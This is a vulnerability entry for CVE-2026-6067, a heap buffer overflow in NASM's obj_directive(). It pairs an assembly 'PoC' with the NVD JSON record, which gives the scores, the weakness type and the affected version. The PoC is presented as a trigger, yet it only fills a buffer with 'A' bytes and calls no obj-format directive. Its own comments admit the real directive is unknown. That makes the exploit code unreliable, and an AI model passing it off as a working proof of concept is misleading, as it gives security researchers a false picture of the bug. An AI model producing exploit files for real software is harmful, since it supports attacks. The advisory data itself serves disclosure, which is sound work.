CVE-2026-6067

; PoC for CVE-2026-6067 (NASM Heap Buffer Overflow) ; This assembly file is designed to trigger the overflow in obj_directive() ; Usage: nasm vulnerable_poc.asm section .data ; A large buffer to potentially overflow the heap allocation ; The specific size depends on the vulnerable buffer size in obj_directive() payload times 1024 db 'A' section .text global _start _start: ; Attempt to trigger the vulnerable directive path ; (Actual directive depends on the specific implementation of the bug) ; This represents a crafted input that passes unchecked data to the function inc eax nop ; Padding/Alignment to ensure heap layout is conducive to overflow dd payload

{"cve": {"id": "CVE-2026-6067", "sourceIdentifier": "[email protected]", "published": "2026-04-10T14:16:38.620", "lastModified": "2026-04-23T18:34:03.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer overflow vulnerability exists in the Netwide Assembler (NASM) due to a lack of bounds checking in the obj_directive() function. This vulnerability can be exploited by a user assembling a malicious .asm file, potentially leading to heap memory corruption, denial of service (crash), and arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasm:netwide_assembler:3.02:rc5:*:*:*:*:*:*", "matchCriteriaId": "EA22EDB2-D094-433E-887D-A211FEC02A90"}]}]}], "references": [{"url": "https://github.com/netwide-assembler/nasm/issues/203", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}